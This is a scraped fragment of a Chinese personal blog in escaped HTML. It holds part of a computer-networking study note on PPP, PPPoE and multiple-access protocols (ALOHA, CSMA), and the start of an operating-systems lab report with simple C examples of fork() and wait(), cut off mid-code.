src=\"https://xeonds.github.io/img/Pasted%20image%2020230613000141.png\"/\u003e\u003c/p\u003e\u003cp\u003e特点如下:\u003c/p\u003e\u003cul\u003e\u003cli\u003e简单:不提供可靠传输,无流量控制,无重传机制,网络开销小,速度快\u003c/li\u003e\u003cli\u003e封装成帧:首部和尾部,帧开始符,帧结束符\u003c/li\u003e\u003cli\u003e透明传输:可传输任意比特组合的数据,加转义字符,收到后去掉转义字符\u003c/li\u003e\u003cli\u003e差错检测:CRC计算帧校验序列FCS\u003c/li\u003e\u003cli\u003e支持多种网络层协议:IPv4和IPv6网络层协议都可以封装到PPP帧中\u003c/li\u003e\u003cli\u003e多种类型链路:光纤、铜线,同步传输、异步传输,串行、并行链路均可\u003c/li\u003e\u003cli\u003e最大传送单元:1500字节\u003c/li\u003e\u003cli\u003e网络层地址协商:能够为拨号的一端分配IP地址、子网掩码、网关和DNS\u003c/li\u003e\u003c/ul\u003e\u003cp\u003ePPP是面向字节的协议,通过转义字节01111101进行透明插入和删除。\u003c/p\u003e\u003ch3 id=\"PPPoE协议(PPP-Over-Ethernet)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#PPPoE%E5%8D%8F%E8%AE%AE%EF%BC%88PPP-Over-Ethernet%EF%BC%89\" class=\"headerlink\" title=\"PPPoE协议(PPP Over Ethernet)\"\u003e\u003c/a\u003ePPPoE协议(PPP Over Ethernet)\u003c/h3\u003e\u003cp\u003e•用于实现PPP在以太网上的传输。\u003cbr/\u003e•是为了满足越来越多的宽带上网设备(如ADSL—最初是静态IP 、无线、有线电视等)和越来越快的网络之间的通信而指定开发的标准,它给出了两个广泛的接受的标准:以太网和PPP拨号协议。\u003cbr/\u003e•PPPoE就是将PPP数据承载到以太网上,实质是在共享介质的网络中提供一条逻辑上的点到点链路(Session ID)。\u003cbr/\u003e•PPPoE主要协议标准:RFC2516\u003c/p\u003e\u003cp\u003e它广泛利用在ADSL接入方式中。通过它,可以实现高速宽带网的个人身份验证访问,为每个用户创建虚拟拨号连接,来高速连接到Internet。\u003c/p\u003e\u003ch2 id=\"Chap-12-多路访问\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#Chap-12-%E5%A4%9A%E8%B7%AF%E8%AE%BF%E9%97%AE\" class=\"headerlink\" title=\"Chap.12.多路访问\"\u003e\u003c/a\u003eChap.12.多路访问\u003c/h2\u003e\u003cp\u003e数据链路层分为\u003cstrong\u003e逻辑链路控制子层LLC\u003c/strong\u003e和\u003cstrong\u003e介质访问控制子层MAC\u003c/strong\u003e。后者的协议可以分为以下几类:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230613000817.png\"/\u003e\u003c/p\u003e\u003ch3 id=\"随机访问协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E9%9A%8F%E6%9C%BA%E8%AE%BF%E9%97%AE%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"随机访问协议\"\u003e\u003c/a\u003e随机访问协议\u003c/h3\u003e\u003cp\u003e没有一个站点是优于其它站点的,也不能控制其它站点。没有站点有权力允许或不允许其它站点发送或不发送数据。有数据要发送的站通过自身的协议决定发送还是不发送数据。\u003c/p\u003e\u003cp\u003e在链路中,为了让多方向的通信不至于冲突,因此有了底下几个协议。\u003c/p\u003e\u003ch4 id=\"ALOHA协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#ALOHA%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"ALOHA协议\"\u003e\u003c/a\u003eALOHA协议\u003c/h4\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230613002735.png\"/\u003e\u003c/p\u003e\u003cp\u003e在这种传输过程中,无冲突相关的计算:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230613003239.png\"/\u003e\u003c/p\u003e\u003cp\u003e它的吞吐量是$S=G\\times e^{-2G}$,当$G=1/2$时,取到最大值$S_{max}=0.184$。\u003c/p\u003e\u003cp\u003e此外,还存在时隙ALOHA:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230613003513.png\"/\u003e\u003c/p\u003e\u003cp\u003e它可能的冲突时间等于帧传播时间。它的\u003c/p\u003e\u003ch4 id=\"CSMA-载波侦听多路访问协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#CSMA-%E8%BD%BD%E6%B3%A2%E4%BE%A6%E5%90%AC%E5%A4%9A%E8%B7%AF%E8%AE%BF%E9%97%AE%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"CSMA-载波侦听多路访问协议\"\u003e\u003c/a\u003eCSMA-载波侦听多路访问协议\u003c/h4\u003e\u003cp\u003e三种坚持型方法的流程如下所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230613002540.png\"/\u003e\u003c/p\u003e\u003ch4 id=\"CSMA-x2F-CD-冲突检测CSMA\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#CSMA-x2F-CD-%E5%86%B2%E7%AA%81%E6%A3%80%E6%B5%8BCSMA\" class=\"headerlink\" title=\"CSMA/CD-冲突检测CSMA\"\u003e\u003c/a\u003eCSMA/CD-冲突检测CSMA\u003c/h4\u003e\u003cp\u003e带冲突检测的载波监听多路访问CSMA/CD (Carrier Sense Multiple Access with Collision Detection)规定了冲突处理的算法。\u003c/p\u003e\u003cp\u003e任意站点都可以发送帧,之后监控介质查看传送是否成功。如果成功,站点完成发送;如果不成功,说明存在冲突,需要重新发送此帧。\u003c/p\u003e\u003ch4 id=\"CSMA-x2F-CA-冲突避免CSMA\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#CSMA-x2F-CA-%E5%86%B2%E7%AA%81%E9%81%BF%E5%85%8DCSMA\" class=\"headerlink\" title=\"CSMA/CA-冲突避免CSMA\"\u003e\u003c/a\u003eCSMA/CA-冲突避免CSMA\u003c/h4\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/"},{"title":"操作系统实验报告","time":"2023-05-23T08:02:09Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"实验1:创建进程\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%AE%9E%E9%AA%8C1%EF%BC%9A%E5%88%9B%E5%BB%BA%E8%BF%9B%E7%A8%8B\" class=\"headerlink\" title=\"实验1:创建进程\"\u003e\u003c/a\u003e实验1:创建进程\u003c/h2\u003e\u003ch3 id=\"一、实验目标\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%80%E3%80%81%E5%AE%9E%E9%AA%8C%E7%9B%AE%E6%A0%87\" class=\"headerlink\" title=\"一、实验目标\"\u003e\u003c/a\u003e一、实验目标\u003c/h3\u003e\u003col\u003e\u003cli\u003e创建子进程,读取文件\u003c/li\u003e\u003cli\u003e父进程等待子进程完成后再继续执行\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"二、实验过程\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%8C%E3%80%81%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B\" class=\"headerlink\" title=\"二、实验过程\"\u003e\u003c/a\u003e二、实验过程\u003c/h3\u003e\u003cp\u003e创建一个\u003ccode\u003emain.c\u003c/code\u003e,并引入头文件\u003ccode\u003eunistd.h\u003c/code\u003e和\u003ccode\u003estdlib.h\u003c/code\u003e以及\u003ccode\u003esys/wait.h\u003c/code\u003e。随后在主程序中调用\u003ccode\u003efork()\u003c/code\u003e创建子进程,并根据函数返回值确定进程类型,并执行相应操作。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc==0\u003c/code\u003e,则当前进程是子进程,使用\u003ccode\u003estdlib.h\u003c/code\u003e提供的I/O函数进行文件创建和写入工作。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc\u0026gt;0\u003c/code\u003e,则当前进程是父进程。调用\u003ccode\u003ewait()\u003c/code\u003e等待子进程结束后再执行即可。\u003c/p\u003e\u003ch3 id=\"三、实验代码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%89%E3%80%81%E5%AE%9E%E9%AA%8C%E4%BB%A3%E7%A0%81\" class=\"headerlink\" title=\"三、实验代码\"\u003e\u003c/a\u003e三、实验代码\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/wait.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e FILE *fp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e rc=fork();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(rc\u0026lt;\u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003efprintf\u003c/span\u003e(\u003cspan class=\"built_in\"\u003estderr\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Failed to create child process.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(rc==\u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fp=fopen(\u003cspan class=\"string\"\u003e\u0026#34;./test.txt\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;w\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003efprintf\u003c/span\u003e(fp, \u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fclose(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Write finished in child process.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e wc=wait(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Parent process wait completed.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"四、实验结果\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%9B%9B%E3%80%81%E5%AE%9E%E9%AA%8C%E7%BB%93%E6%9E%9C\" class=\"headerlink\" title=\"四、实验结果\"\u003e\u003c/a\u003e四、实验结果\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230523162739.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,程序的执行顺序确实是先子进程再父进程。输出的文件内容也正确。\u003c/p\u003e\u003ch3 id=\"五、实验心得\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%94%E3%80%81%E5%AE%9E%E9%AA%8C%E5%BF%83%E5%BE%97\" class=\"headerlink\" title=\"五、实验心得\"\u003e\u003c/a\u003e五、实验心得\u003c/h3\u003e\u003cp\u003e通过这次实验,我懂得了Linux下\u003ccode\u003efork()\u003c/code\u003e系统调用的用法,知道了如何创建一个新的进程,也知道了\u003ccode\u003efork()\u003c/code\u003e的返回值的含义,能编写一个单文件的多进程程序。\u003c/p\u003e\u003ch2 id=\"实验2:线程共享进程数据\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%AE%9E%E9%AA%8C2%EF%BC%9A%E7%BA%BF%E7%A8%8B%E5%85%B1%E4%BA%AB%E8%BF%9B%E7%A8%8B%E6%95%B0%E6%8D%AE\" class=\"headerlink\" title=\"实验2:线程共享进程数据\"\u003e\u003c/a\u003e实验2:线程共享进程数据\u003c/h2\u003e\u003ch3 id=\"一、实验目标-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%80%E3%80%81%E5%AE%9E%E9%AA%8C%E7%9B%AE%E6%A0%87-1\" class=\"headerlink\" title=\"一、实验目标\"\u003e\u003c/a\u003e一、实验目标\u003c/h3\u003e\u003col\u003e\u003cli\u003e创建多个线程,并让它们共享进程数据\u003c/li\u003e\u003cli\u003e理解线程之间的数据竞争和同步问题\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"二、实验过程-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%8C%E3%80%81%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B-1\" class=\"headerlink\" title=\"二、实验过程\"\u003e\u003c/a\u003e二、实验过程\u003c/h3\u003e\u003cp\u003e创建一个\u003ccode\u003emain.c\u003c/code\u003e,并引入头文件\u003ccode\u003epthread.h\u003c/code\u003e和\u003ccode\u003estdio.h\u003c/code\u003e。在主程序中定义一个全局变量\u003ccode\u003ecount\u003c/code\u003e作为共享数据,并初始化为0。随后在主程序中创建两个线程,并传入一个函数指针作为线程执行的任务。\u003c/p\u003e\u003cp\u003e该函数指针指向一个自定义的函数\u003ccode\u003ethread_func\u003c/code\u003e,该函数接受一个整型参数\u003ccode\u003eid\u003c/code\u003e作为线程标识,并在函数内部对全局变量\u003ccode\u003ecount\u003c/code\u003e进行加一操作,并打印出当前线程的标识和\u003ccode\u003ecount\u003c/code\u003e的值。\u003c/p\u003e\u003cp\u003e在主程序中,使用\u003ccode\u003epthread_join\u003c/code\u003e等待两个线程执行完毕后再退出。\u003c/p\u003e\u003ch3 id=\"三、实验代码-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%89%E3%80%81%E5%AE%9E%E9%AA%8C%E4%BB%A3%E7%A0%81-1\" class=\"headerlink\" title=\"三、实验代码\"\u003e\u003c/a\u003e三、实验代码\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/wait.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e data = \u003cspan class=\"number\"\u003e123\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[%d] main process data:%d\\n\u0026#34;\u003c/span\u003e, (\u003cspan class=\"type\"\u003eint\u003c/span\u003e)getpid(), data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e rc = fork();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(rc\u0026lt;\u003cspan 